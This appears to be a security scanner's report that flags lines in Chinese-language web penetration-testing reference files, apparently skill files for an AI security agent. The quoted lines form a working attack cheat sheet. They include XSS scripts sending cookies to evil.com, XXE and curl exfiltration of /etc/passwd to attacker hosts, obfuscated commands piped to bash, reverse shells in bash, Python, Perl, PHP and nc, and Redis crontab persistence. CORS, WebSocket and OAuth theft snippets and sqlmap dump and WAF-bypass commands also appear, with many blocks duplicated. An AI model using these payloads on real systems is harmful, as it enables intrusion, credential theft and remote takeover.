> URL: https://fushuling.com/index.php/2023/04/07/sql%E6%B3%A8%E5%85%A5%E4%B8%80%E5%91%BD%E9%80%9A%E5%85%B3/ - Network accessline 92
# GET 注入点 sqlmap -u "https://target/path.php?id=1" -p id --batch - Network accessline 93
sqlmap -u "https://target/path.php?id=1" -p id --batch - Network accessline 98
# 当前库、库表列、字段数据 sqlmap -u "https://target/path.php?id=1" --current-db --batch - Network accessline 99
sqlmap -u "https://target/path.php?id=1" --current-db --batch - Network accessline 100
sqlmap -u "https://target/path.php?id=1" -D dbname --tables --batch - Network accessline 101
sqlmap -u "https://target/path.php?id=1" -D dbname -T users --columns --batch - Network accessline 102
sqlmap -u "https://target/path.php?id=1" -D dbname -T users -C username,password --dump --batch
deepsec/spear/skills/specialized/secknowledge-skill/references/web-sqli.md
- Network accessline 231
# 基础检测 sqlmap -u "http://t/p.php?id=1" --batch - Network accessline 232
sqlmap -u "http://t/p.php?id=1" --batch - Network accessline 233
# POST请求 sqlmap -u "http://t/login.php" --data="user=t&pass=t" --batch # Cookie/HTTP头注入 - Network accessline 234
sqlmap -u "http://t/login.php" --data="user=t&pass=t" --batch - Network accessline 235
# Cookie/HTTP头注入 sqlmap -u "http://t/p.php" --cookie="id=1" --level=2 --batch sqlmap -u "http://t/p.php" --headers="X-Forwarded-For: 1" --level=3 --batch - Network accessline 236
sqlmap -u "http://t/p.php" --cookie="id=1" --level=2 --batch - Network accessline 237
sqlmap -u "http://t/p.php" --headers="X-Forwarded-For: 1" --level=3 --batch - Network accessline 238
# 绕过WAF sqlmap -u "http://t/p.php?id=1" --tamper=space2comment,between --batch # 数据提取链 - Network accessline 239
sqlmap -u "http://t/p.php?id=1" --tamper=space2comment,between --batch
deepsec/spear/skills/specialized/secknowledge-skill/references/web-ssrf-misc.md
- Network accessline 36
# http:// - 内网探测 http://127.0.0.1:8080 - Network accessline 37
http://127.0.0.1:8080 - Network accessline 38
http://169.254.169.254/latest/meta-data/ # 云元数据 - Network accessline 147
- [ ] 识别URL/代理/回调参数 - [ ] 测试file:///etc/passwd协议读取 - [ ] 测试内网地址: http://127.0.0.1:port - Network accessline 148
- [ ] 测试file:///etc/passwd协议读取 - [ ] 测试内网地址: http://127.0.0.1:port - [ ] 云元数据: http://169.254.169.254/latest/meta-data/ - Network accessline 149
- [ ] 测试内网地址: http://127.0.0.1:port - Network accessline 150
- [ ] 云元数据: http://169.254.169.254/latest/meta-data/
deepsec/spear/skills/specialized/secknowledge-skill/references/web-xss.md
- Network accessline 119
.<script src=http://localhost/1.js>. <!-- 安全宝:前后加点号 --> - Dangerous shell operationline 132
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script> - Network accessline 145
<script>new Image().src="https://evil.com/c?="+document.cookie</script> <img src=x onerror="new Image().src='https://evil.com/c?='+document.cookie"> <script>fetch('https://evil.com/c?='+document.cookie)</script> - Network accessline 146
<img src=x onerror="new Image().src='https://evil.com/c?='+document.cookie"> - Network accessline 147
<script>fetch('https://evil.com/c?='+document.cookie)</script> - Dangerous shell operationline 154
**危险汇**:`innerHTML`, `outerHTML`, `document.write()`, `eval()`, `setTimeout()`, `element.src/href`
deepsec/spear/skills/specialized/secknowledge-skill/references/web-xxe.md
- Network accessline 48
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal:8080/">]> - Network accessline 51
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]> - Network accessline 58
<!-- 外部DTD (attacker服务器托管evil.dtd) --> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]> - Network accessline 59
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]> - Network accessline 61
<!-- evil.dtd内容: --> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>"> - Network accessline 62
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>"> %eval; - Dangerous shell operationline 63
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>"> - Network accessline 63
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>"> - Network accessline 93
// Java: 禁用DTD和外部实体 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 94
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 95
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 96
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 97
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
deepsec/spear/skills/specialized/web-pentest/references/web-injection.md
- Network accessline 343
.<script src=http://localhost/1.js>. <!-- 安全宝:前后加点号 --> - Dangerous shell operationline 356
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script> - Network accessline 369
<script>new Image().src="https://evil.com/c?="+document.cookie</script> <img src=x onerror="new Image().src='https://evil.com/c?='+document.cookie"> <script>fetch('https://evil.com/c?='+document.cookie)</script> - Network accessline 370
<img src=x onerror="new Image().src='https://evil.com/c?='+document.cookie"> - Network accessline 371
<script>fetch('https://evil.com/c?='+document.cookie)</script> - Dangerous shell operationline 378
**危险汇**:`innerHTML`, `outerHTML`, `document.write()`, `eval()`, `setTimeout()`, `element.src/href` - Network accessline 450
# DNSLog外带 ping `whoami`.xxxxx.ceye.io curl http://`whoami`.xxxxx.ceye.io - Network accessline 452
curl http://`whoami`.xxxxx.ceye.io - Network accessline 454
# HTTP外带 curl https://evil.com/?d=`cat /etc/passwd | base64 | tr '\n' '-'` - Network accessline 455
curl https://evil.com/?d=`cat /etc/passwd | base64 | tr '\n' '-'` - Network accessline 456
curl -X POST -d "data=$(cat /etc/passwd)" https://evil.com/c - Dangerous shell operationline 505
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash - Possible obfuscationline 509
echo -e "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" | bash - Possible obfuscationline 510
$(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64") - Network accessline 520
push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")' - Network accessline 521
viewbox 0 0 640 480 fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")' pop graphic-context - Dangerous shell operationline 522
fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")' - Network accessline 522
fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")' - Network accessline 550
# 或写crontab config set dir /var/spool/cron && config set dbfilename root set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/8080 0>&1\n\n" && save - Dangerous shell operationline 552
set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/8080 0>&1\n\n" && save - Network accessline 552
set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/8080 0>&1\n\n" && save - Network accessline 558
# Bash bash -i >& /dev/tcp/ATTACKER/PORT 0>&1 - Dangerous shell operationline 559
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1 - Network accessline 559
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1 - Network accessline 561
# Python python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);' - Network accessline 562
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);' - Dangerous shell operationline 565
perl -e 'use Socket;$i="ATTACKER";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");' - Dangerous shell operationline 568
php -r '$sock=fsockopen("ATTACKER",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' - Network accessline 570
# NC无-e参数 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f - Dangerous shell operationline 571
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f - Network accessline 571
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f - Dangerous shell operationline 581
| L1代码级 | `eval()`, `assert()(PHP5)`, `create_function()`, `preg_replace(/e)` | PHP代码执行 | - Dangerous shell operationline 583
| L3进程级 | `exec()`, `popen()`, `proc_open()`, `pcntl_exec()` | 子进程执行 | - Network accessline 683
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal:8080/">]> - Network accessline 686
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]> - Network accessline 693
<!-- 外部DTD (attacker服务器托管evil.dtd) --> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]> - Network accessline 694
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]> - Network accessline 696
<!-- evil.dtd内容: --> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>"> - Network accessline 697
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>"> %eval; - Dangerous shell operationline 698
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>"> - Network accessline 698
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>"> - Network accessline 728
// Java: 禁用DTD和外部实体 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 729
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 730
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 731
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 732
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - Network accessline 790
# marshalsec启动恶意LDAP/RMI java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker/#Exploit" - Network accessline 791
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker/#Exploit" - Dangerous shell operationline 817
3. 终点: 到达system()/eval()/file_put_contents()等危险函数 - Network accessline 892
# 基础检测 sqlmap -u "http://t/p.php?id=1" --batch - Network accessline 893
sqlmap -u "http://t/p.php?id=1" --batch - Network accessline 894
# POST请求 sqlmap -u "http://t/login.php" --data="user=t&pass=t" --batch # Cookie/HTTP头注入 - Network accessline 895
sqlmap -u "http://t/login.php" --data="user=t&pass=t" --batch - Network accessline 896
# Cookie/HTTP头注入 sqlmap -u "http://t/p.php" --cookie="id=1" --level=2 --batch sqlmap -u "http://t/p.php" --headers="X-Forwarded-For: 1" --level=3 --batch - Network accessline 897
sqlmap -u "http://t/p.php" --cookie="id=1" --level=2 --batch - Network accessline 898
sqlmap -u "http://t/p.php" --headers="X-Forwarded-For: 1" --level=3 --batch - Network accessline 899
# 绕过WAF sqlmap -u "http://t/p.php?id=1" --tamper=space2comment,between --batch # 数据提取链 - Network accessline 900
sqlmap -u "http://t/p.php?id=1" --tamper=space2comment,between --batch
deepsec/spear/skills/specialized/web-pentest/references/web-logic-auth.md
- Network accessline 43
def idor_test(base_url, param_name, id_range, session_cookie): for id in range(id_range[0], id_range[1]): resp = requests.get( - Network accessline 44
for id in range(id_range[0], id_range[1]): resp = requests.get( f"{base_url}?{param_name}={id}", - Network accessline 45
resp = requests.get( - Network accessline 167
import threading def create_order(): requests.post("/order/create", json={"price":0.01,"productId":"premium"}) - Network accessline 168
def create_order(): requests.post("/order/create", json={"price":0.01,"productId":"premium"}) threads = [threading.Thread(target=create_order) for _ in range(50)] - Network accessline 169
requests.post("/order/create", json={"price":0.01,"productId":"premium"}) - Network accessline 309
import threading, requests def redeem(): requests.post("/redeem", data={"points":1000, "item":"iPhone"}) - Network accessline 311
requests.post("/redeem", data={"points":1000, "item":"iPhone"}) - Network accessline 453
| Redis | 6379 | redis-cli -h IP info | 写SSH公钥/Webshell/计划任务 | | MongoDB | 27017 | mongo IP:27017 | 无认证直连,导出全部数据 | | Elasticsearch | 9200 | curl IP:9200/_cat/indices | 读取索引数据 | - Network accessline 454
| MongoDB | 27017 | mongo IP:27017 | 无认证直连,导出全部数据 | | Elasticsearch | 9200 | curl IP:9200/_cat/indices | 读取索引数据 | | Memcached | 11211 | echo stats, nc IP 11211 | 数据泄露 | - Network accessline 455
| Elasticsearch | 9200 | curl IP:9200/_cat/indices | 读取索引数据 | - Network accessline 456
| Memcached | 11211 | echo stats, nc IP 11211 | 数据泄露 | - Network accessline 457
| Docker API | 2375 | curl IP:2375/info | 容器逃逸/RCE |
deepsec/spear/skills/specialized/web-pentest/references/web-modern-protocols.md
- Network accessline 21
# 基础检测: 发送自定义Origin观察响应 curl -H "Origin: https://evil.com" -I https://target.com/api/userinfo - Network accessline 22
curl -H "Origin: https://evil.com" -I https://target.com/api/userinfo - Network accessline 23
# 检查响应头: # Access-Control-Allow-Origin: https://evil.com → 危险! # Access-Control-Allow-Credentials: true → 可携带Cookie跨域请求 - Network accessline 24
# Access-Control-Allow-Origin: https://evil.com → 危险! - Network accessline 41
<!-- 恶意页面: 跨域窃取用户数据 --> <script> fetch('https://target.com/api/userinfo', {credentials: 'include'}) - Network accessline 42
<script> fetch('https://target.com/api/userinfo', {credentials: 'include'}) .then(r => r.json()) - Network accessline 43
fetch('https://target.com/api/userinfo', {credentials: 'include'}) - Network accessline 44
.then(r => r.json()) .then(d => fetch('https://attacker.com/steal?data=' + JSON.stringify(d))); </script> - Network accessline 45
.then(d => fetch('https://attacker.com/steal?data=' + JSON.stringify(d))); - Network accessline 49
<iframe sandbox="allow-scripts allow-top-navigation" src="data:text/html, <script> fetch('https://target.com/api/userinfo',{credentials:'include'}) - Network accessline 50
<script> fetch('https://target.com/api/userinfo',{credentials:'include'}) .then(r=>r.text()).then(d=>parent.postMessage(d,'*')) - Network accessline 51
fetch('https://target.com/api/userinfo',{credentials:'include'}) - Network accessline 237
ws.onmessage = function(e) { // 窃取响应数据 fetch('https://attacker.com/steal?data=' + encodeURIComponent(e.data)); - Network accessline 238
// 窃取响应数据 fetch('https://attacker.com/steal?data=' + encodeURIComponent(e.data)); }; - Network accessline 239
fetch('https://attacker.com/steal?data=' + encodeURIComponent(e.data)); - Network accessline 287
# 正常流程 https://auth.target.com/authorize?response_type=code&client_id=app&redirect_uri=https://app.com/callback - Network accessline 288
https://auth.target.com/authorize?response_type=code&client_id=app&redirect_uri=https://app.com/callback - Network accessline 290
# 攻击: 篡改redirect_uri窃取授权码 redirect_uri=https://attacker.com/steal # 完全替换 - Network accessline 291
redirect_uri=https://attacker.com/steal # 完全替换 - Network accessline 292
redirect_uri=https://app.com.attacker.com/callback # 子域混淆 - Network accessline 293
redirect_uri=https://app.com/callback/../../../attacker # 路径遍历 - Network accessline 294
redirect_uri=https://app.com/callback?next=https://attacker.com # 开放重定向链 - Network accessline 311
# 攻击流程 (state缺失时) 1. 攻击者发起OAuth授权,获取自己账号的授权码 2. 构造链接: https://app.com/callback?code=ATTACKER_CODE - Network accessline 312
1. 攻击者发起OAuth授权,获取自己账号的授权码 2. 构造链接: https://app.com/callback?code=ATTACKER_CODE 3. 诱骗受害者点击 → 受害者账号绑定攻击者的第三方账号 - Network accessline 313
2. 构造链接: https://app.com/callback?code=ATTACKER_CODE - Network accessline 325
[Credential-related source omitted] - Network accessline 326
[Credential-related source omitted] - Access to secretsline 326
[Credential-related source omitted]
deepsec/spear/skills/specialized/web-security-advanced/references/web-deployment-security.md
- Network accessline 199
# 在线检查 # https://www.ssllabs.com/ssltest/ - Network accessline 200
# https://www.ssllabs.com/ssltest/ - Network accessline 246
| 安全组全开 | 检查`0.0.0.0/0`入站规则 | 暴露内部服务 | | 密钥硬编码 | `trufflehog`/`gitleaks` 扫描代码仓库 | 账户接管 | | 元数据服务 | `curl http://169.254.169.254/` (SSRF利用) | 凭据窃取 | - Network accessline 247
| 密钥硬编码 | `trufflehog`/`gitleaks` 扫描代码仓库 | 账户接管 | | 元数据服务 | `curl http://169.254.169.254/` (SSRF利用) | 凭据窃取 | | 日志未开启 | CloudTrail/ActionTrail审计 | 无法溯源 | - Network accessline 248
| 元数据服务 | `curl http://169.254.169.254/` (SSRF利用) | 凭据窃取 | - Network accessline 264
# 代码仓库扫描 gitleaks detect --source=. --verbose trufflehog git https://github.com/org/repo - Network accessline 266
trufflehog git https://github.com/org/repo - Access to secretsline 269
[Credential-related source omitted]
deepsec/spear/skills/specialized/web-security-advanced/references/web-file-infra.md
- Access to secretsline 352
[Credential-related source omitted] - Network accessline 468
# http:// - 内网探测 http://127.0.0.1:8080 - Network accessline 469
http://127.0.0.1:8080 - Network accessline 470
http://169.254.169.254/latest/meta-data/ # 云元数据 - Network accessline 579
- [ ] 识别URL/代理/回调参数 - [ ] 测试file:///etc/passwd协议读取 - [ ] 测试内网地址: http://127.0.0.1:port - Network accessline 580
- [ ] 测试file:///etc/passwd协议读取 - [ ] 测试内网地址: http://127.0.0.1:port - [ ] 云元数据: http://169.254.169.254/latest/meta-data/ - Network accessline 581
- [ ] 测试内网地址: http://127.0.0.1:port - Network accessline 582
- [ ] 云元数据: http://169.254.169.254/latest/meta-data/
deepsec/spear/skills/specialized/web-security-advanced/references/web-injection.md
- Network accessline 343
.<script src=http://localhost/1.js>. <!-- 安全宝:前后加点号 --> - Dangerous shell operationline 356
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script> - Network accessline 369
<script>new Image().src="https://evil.com/c?="+document.cookie</script> <img src=x onerror="new Image().src='https://evil.com/c?='+document.cookie"> <script>fetch('https://evil.com/c?='+document.cookie)</script> - Network accessline 370
<img src=x onerror="new Image().src='https://evil.com/c?='+document.cookie"> - Network accessline 371
<script>fetch('https://evil.com/c?='+document.cookie)</script> - Dangerous shell operationline 378
**危险汇**:`innerHTML`, `outerHTML`, `document.write()`, `eval()`, `setTimeout()`, `element.src/href` - Network accessline 450
# DNSLog外带 ping `whoami`.xxxxx.ceye.io curl http://`whoami`.xxxxx.ceye.io - Network accessline 452
curl http://`whoami`.xxxxx.ceye.io - Network accessline 454
# HTTP外带 curl https://evil.com/?d=`cat /etc/passwd | base64 | tr '\n' '-'` - Network accessline 455
curl https://evil.com/?d=`cat /etc/passwd | base64 | tr '\n' '-'` - Network accessline 456
curl -X POST -d "data=$(cat /etc/passwd)" https://evil.com/c - Dangerous shell operationline 505
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash - Possible obfuscationline 509
echo -e "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" | bash - Possible obfuscationline 510
$(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64") - Network accessline 520
push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")' - Network accessline 521
viewbox 0 0 640 480 fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")' pop graphic-context - Dangerous shell operationline 522
fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")' - Network accessline 522
fill 'url(https://example.com/"|bash -i >& /dev/tcp/ATTACKER/8080 0>&1 &")' - Network accessline 550
# 或写crontab config set dir /var/spool/cron && config set dbfilename root set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/8080 0>&1\n\n" && save - Dangerous shell operationline 552
set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/8080 0>&1\n\n" && save - Network accessline 552
set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/8080 0>&1\n\n" && save - Network accessline 558
# Bash bash -i >& /dev/tcp/ATTACKER/PORT 0>&1 - Dangerous shell operationline 559
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1 - Network accessline 559
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1 - Network accessline 561
# Python python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);' - Network accessline 562
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);' - Dangerous shell operationline 565
perl -e 'use Socket;$i="ATTACKER";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");' - Dangerous shell operationline 568
php -r '$sock=fsockopen("ATTACKER",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' - Network accessline 570
# NC无-e参数 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f - Dangerous shell operationline 571
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f - Network accessline 571
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER PORT >/tmp/f - Dangerous shell operationline 581
| L1代码级 | `eval()`, `assert()(PHP5)`, `create_function()`, `preg_replace(/e)` | PHP代码执行 | - Dangerous shell operationline 583
| L3进程级 | `exec()`, `popen()`, `proc_open()`, `pcntl_exec()` | 子进程执行 | - Network accessline 683
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal:8080/">]> - Network accessline 686
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]> - Network accessline 693
<!-- 外部DTD (attacker服务器托管evil.dtd) --> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]> - Network accessline 694
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]> - Network accessline 696
<!-- evil.dtd内容: --> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>"> - Network accessline 697
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>"> %eval; - Dangerous shell operationline 698
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>"> - Network accessline 698
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>"> - Network accessline 728
// Java: 禁用DTD和外部实体 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 729
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 730
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - Network accessline 731
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); - Network accessline 732
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); - Network accessline 790
# marshalsec启动恶意LDAP/RMI java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker/#Exploit" - Network accessline 791
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker/#Exploit" - Dangerous shell operationline 817
3. 终点: 到达system()/eval()/file_put_contents()等危险函数 - Network accessline 892
# 基础检测 sqlmap -u "http://t/p.php?id=1" --batch - Network accessline 893
sqlmap -u "http://t/p.php?id=1" --batch - Network accessline 894
# POST请求 sqlmap -u "http://t/login.php" --data="user=t&pass=t" --batch # Cookie/HTTP头注入 - Network accessline 895
sqlmap -u "http://t/login.php" --data="user=t&pass=t" --batch - Network accessline 896
# Cookie/HTTP头注入 sqlmap -u "http://t/p.php" --cookie="id=1" --level=2 --batch sqlmap -u "http://t/p.php" --headers="X-Forwarded-For: 1" --level=3 --batch - Network accessline 897
sqlmap -u "http://t/p.php" --cookie="id=1" --level=2 --batch - Network accessline 898
sqlmap -u "http://t/p.php" --headers="X-Forwarded-For: 1" --level=3 --batch - Network accessline 899
# 绕过WAF sqlmap -u "http://t/p.php?id=1" --tamper=space2comment,between --batch # 数据提取链 - Network accessline 900
sqlmap -u "http://t/p.php?id=1" --tamper=space2comment,between --batch
deepsec/spear/skills/specialized/web-security-advanced/references/web-logic-auth.md
- Network accessline 43
def idor_test(base_url, param_name, id_range, session_cookie): for id in range(id_range[0], id_range[1]): resp = requests.get( - Network accessline 44
for id in range(id_range[0], id_range[1]): resp = requests.get( f"{base_url}?{param_name}={id}", - Network accessline 45
resp = requests.get( - Network accessline 167
import threading def create_order(): requests.post("/order/create", json={"price":0.01,"productId":"premium"}) - Network accessline 168
def create_order(): requests.post("/order/create", json={"price":0.01,"productId":"premium"}) threads = [threading.Thread(target=create_order) for _ in range(50)] - Network accessline 169
requests.post("/order/create", json={"price":0.01,"productId":"premium"}) - Network accessline 309
import threading, requests def redeem(): requests.post("/redeem", data={"points":1000, "item":"iPhone"}) - Network accessline 311
requests.post("/redeem", data={"points":1000, "item":"iPhone"}) - Network accessline 453
| Redis | 6379 | redis-cli -h IP info | 写SSH公钥/Webshell/计划任务 | | MongoDB | 27017 | mongo IP:27017 | 无认证直连,导出全部数据 | | Elasticsearch | 9200 | curl IP:9200/_cat/indices | 读取索引数据 | - Network accessline 454
| MongoDB | 27017 | mongo IP:27017 | 无认证直连,导出全部数据 | | Elasticsearch | 9200 | curl IP:9200/_cat/indices | 读取索引数据 | | Memcached | 11211 | echo stats, nc IP 11211 | 数据泄露 | - Network accessline 455
| Elasticsearch | 9200 | curl IP:9200/_cat/indices | 读取索引数据 | - Network accessline 456
| Memcached | 11211 | echo stats, nc IP 11211 | 数据泄露 | - Network accessline 457
| Docker API | 2375 | curl IP:2375/info | 容器逃逸/RCE |
deepsec/spear/skills/specialized/web-security-advanced/references/web-modern-protocols.md
- Network accessline 21
# 基础检测: 发送自定义Origin观察响应 curl -H "Origin: https://evil.com" -I https://target.com/api/userinfo - Network accessline 22
curl -H "Origin: https://evil.com" -I https://target.com/api/userinfo - Network accessline 23
# 检查响应头: # Access-Control-Allow-Origin: https://evil.com → 危险! # Access-Control-Allow-Credentials: true → 可携带Cookie跨域请求 - Network accessline 24
# Access-Control-Allow-Origin: https://evil.com → 危险! - Network accessline 41
<!-- 恶意页面: 跨域窃取用户数据 --> <script> fetch('https://target.com/api/userinfo', {credentials: 'include'}) - Network accessline 42
<script> fetch('https://target.com/api/userinfo', {credentials: 'include'}) .then(r => r.json()) - Network accessline 43
fetch('https://target.com/api/userinfo', {credentials: 'include'}) - Network accessline 44
.then(r => r.json()) .then(d => fetch('https://attacker.com/steal?data=' + JSON.stringify(d))); </script> - Network accessline 45
.then(d => fetch('https://attacker.com/steal?data=' + JSON.stringify(d))); - Network accessline 49
<iframe sandbox="allow-scripts allow-top-navigation" src="data:text/html, <script> fetch('https://target.com/api/userinfo',{credentials:'include'}) - Network accessline 50
<script> fetch('https://target.com/api/userinfo',{credentials:'include'}) .then(r=>r.text()).then(d=>parent.postMessage(d,'*')) - Network accessline 51
fetch('https://target.com/api/userinfo',{credentials:'include'}) - Network accessline 237
ws.onmessage = function(e) { // 窃取响应数据 fetch('https://attacker.com/steal?data=' + encodeURIComponent(e.data)); - Network accessline 238
// 窃取响应数据 fetch('https://attacker.com/steal?data=' + encodeURIComponent(e.data)); }; - Network accessline 239
fetch('https://attacker.com/steal?data=' + encodeURIComponent(e.data)); - Network accessline 287
# 正常流程 https://auth.target.com/authorize?response_type=code&client_id=app&redirect_uri=https://app.com/callback - Network accessline 288
https://auth.target.com/authorize?response_type=code&client_id=app&redirect_uri=https://app.com/callback - Network accessline 290
# 攻击: 篡改redirect_uri窃取授权码 redirect_uri=https://attacker.com/steal # 完全替换 - Network accessline 291
redirect_uri=https://attacker.com/steal # 完全替换 - Network accessline 292
redirect_uri=https://app.com.attacker.com/callback # 子域混淆 - Network accessline 293
redirect_uri=https://app.com/callback/../../../attacker # 路径遍历 - Network accessline 294
redirect_uri=https://app.com/callback?next=https://attacker.com # 开放重定向链 - Network accessline 311
